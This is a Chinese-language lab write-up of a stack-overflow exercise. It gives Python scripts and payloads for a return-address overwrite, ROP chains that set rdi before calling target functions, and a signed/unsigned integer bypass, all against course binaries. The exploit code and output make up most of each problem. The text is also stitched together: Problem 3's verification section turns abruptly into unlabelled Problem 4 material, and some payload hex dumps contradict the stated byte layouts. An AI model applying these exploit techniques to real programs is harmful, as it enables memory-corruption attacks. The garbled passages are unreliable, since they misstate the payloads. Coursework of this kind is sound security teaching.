

栈溢出攻击实验

题目解决思路

Problem 1: 基础栈溢出攻击

- 分析:

用objdump反汇编了一下, 发现程序里有个func1函数会输出"Yes!! like ICS!", 但是main函数不会调用它。看了下func函数, 用的是strcpy, 没有长度检查, 明显有栈溢出漏洞。

缓冲区在rbp-0x8的位置, 只有8个字节。栈的结构应该是:

```
[8字节缓冲区] -> [8字节saved rbp] -> [8字节返回地址]
```

所以我要写24字节, 前16字节随便填, 最后8字节写func1的地址(0x401216)。

- 解决方案:

```
#!/usr/bin/env python3
# Problem 1 Exploit

# func1的地址是 0x401216
func1_address = 0x401216

# 构造payload:
# - 8字节填充缓冲区
# - 8字节覆盖saved rbp
# - 8字节覆盖返回地址为func1

padding = b"A" * 8
saved_rbp = b"B" * 8
func1_addr_bytes = func1_address.to_bytes(8, byteorder='little')

payload = padding + saved_rbp + func1_addr_bytes

with open("ans1.txt", "wb") as f:
    f.write(payload)

print("Payload written to ans1.txt")
print(f"Payload length: {len(payload)} bytes")
print(f"Payload (hex): {payload.hex()}")
```

- Payload验证:

```
Payload hex: 41414141414141414141424242424242421612400000000000
Length: 24 bytes
```

解析: 前8字节(41*8)填充缓冲区, 接8字节(42*8)覆盖rbp, 最后8字节(1612400000000000)是func1地址的小端表示

- 结果:

```
$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

搞定! 成功跳转到func1了。

Problem 2: ROP链攻击

- 分析:

这题开了NX保护, 不能在栈上执行代码了。看了下汇编, func2函数需要edi寄存器等于0x3f8才会输出"Yes!! like ICS!". 关键是怎么给edi传参。

找了一下, 发现有个pop_rdi的gadget在0x4012c7 (指令就是 `pop rdi; ret`), 正好可以用。ROP的思路就是先跳到pop_rdi, 它会从栈上pop一个值到rdi, 然后ret到func2。

- 解决方案:

```
#!/usr/bin/env python3
# Problem 2 Exploit - ROP chain

# 关键地址
pop_rdi_addr = 0x4012c7 # pop rdi; ret gadget
func2_addr = 0x401216   # func2函数地址
param = 0x3f8          # 1016

# 构造payload
padding = b"A" * 8
saved_rbp = b"B" * 8
pop_rdi_bytes = pop_rdi_addr.to_bytes(8, byteorder='little')
param_bytes = param.to_bytes(8, byteorder='little')
func2_bytes = func2_addr.to_bytes(8, byteorder='little')

# ROP链: return -> pop_rdi -> param -> func2
payload = padding + saved_rbp + pop_rdi_bytes + param_bytes + func2_bytes

with open("ans2.txt", "wb") as f:
    f.write(payload)
```

- Payload验证:

```
Payload hex: 41414141414141414141424242424242424242c712400000000000f80300000000000016124000000000
0
Length: 40 bytes
关键地址: pop_rdi(0x4012c7), 参数(0x3f8=1016), func2(0x401216)
```

- 结果:

```
$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

ROP链work了!

Problem 3: ROP链攻击 (进阶)

- 分析:

这题要输出"114", 看汇编发现func1需要edi参数等于0x72 (十进制114) 才会输出正确消息。

关键是这题没有pop rdi的gadget。但是我发现程序里有几个辅助函数:

- **mov_rdi (0x4012da)**: 接受参数并将其保存到rdi寄存器
- **mov_rax (0x4012f1)**: 接受参数并将其保存到rax寄存器
- **call_rax (0x401308)**: 接受参数, 将其放入rax并call rax
- **jmp_x (0x40131e)**: 接受参数, 将其放入rax并jmp rax

这些函数都遵循x86-64调用约定, 第一个参数通过rdi传递。可以构造ROP链:

1. 先调用mov_rdi(0x72), 设置rdi=0x72
2. 再调用call_rax(func1), 跳转到func1执行

栈结构分析: func使用memcpy接受64字节输入到rbp-0x20的缓冲区 (32字节), 所以需要32字节填充+8字节saved rbp+ROP链。

- 解决方案:

```
#!/usr/bin/env python3
# Problem 3 Exploit - ROP Chain

mov_rdi_addr = 0x4012da    # mov_rdi function
call_rax_addr = 0x401308   # call_rax function
func1_addr = 0x401216      # func1 function
param = 0x72               # 114 (decimal)

# 构造payload
padding = b"A" * 32        # 填充缓冲区
saved_rbp = b"B" * 8       # 覆盖saved rbp

# ROP链构造
mov_rdi_bytes = mov_rdi_addr.to_bytes(8, byteorder='little')
param_bytes = param.to_bytes(8, byteorder='little')
call_rax_bytes = call_rax_addr.to_bytes(8, byteorder='little')
func1_bytes = func1_addr.to_bytes(8, byteorder='little')

payload = padding + saved_rbp + mov_rdi_bytes + param_bytes + call_rax_bytes + func1_bytes

with open("ans3.txt", "wb") as f:
    f.write(payload)

print(f"Payload length: {len(payload)} bytes")
print(f"ROP chain: mov_rdi(0x72) -> call_rax(func1)")
```

- Payload验证:

这里使用的是**无符号比较** (jae) , 而输入是**有符号整数**。当输入-1时:

- 作为有符号int: -1 (0xffffffff)
- 作为无符号int: 4294967295 (0xffffffff)
- 比较: 4294967295 >= 4294967294, 条件成立!

这是一个**整数溢出漏洞**, 利用了有符号和无符号类型转换的差异。

- **解决方案:**

不需要编写exploit代码, 直接通过正常输入即可:

```
echo -e "test\ntest\n-1" | ./problem4
```

或者手动运行程序, 输入:

- 第一个输入 (名字): 任意字符串
- 第二个输入 (是否喜欢ICS): 任意字符串
- 第三个输入 (金额): `-1`

- **结果:**

```
$ echo -e "test\ntest\n-1" | ./problem4
hi please tell me what is your name?
hi! do you like ics?
if you give me enough yuanshi,I will let you pass!
your money is 4294967295
great!I will give you great scores
```

完美通过! 注意输出显示"your money is 4294967295", 这正是-1的无符号表示 (%u格式)。程序没有触发canary保护, 因为没有发生栈溢出, 而是通过整数溢出漏洞达到目标。

思考与总结

通过这次实验, 我深入理解了栈溢出攻击的原理和防护机制:

实践心得

- 使用objdump、gdb等工具分析二进制程序是必备技能
- ROP攻击需要耐心寻找和组合gadgets
- 理解调用约定 (calling convention) 对构造exploit至关重要

这次实验让我从攻击者视角理解了常见的安全漏洞, 也更加明白为什么现代编程中要遵循安全编码规范。在实际开发中, 我会更加注意:

- 使用安全的库函数 (strncpy而非strcpy)
- 启用所有编译器安全选项 (-fstack-protector-all、ASLR、PIE等)
- 进行充分的输入验证和边界检查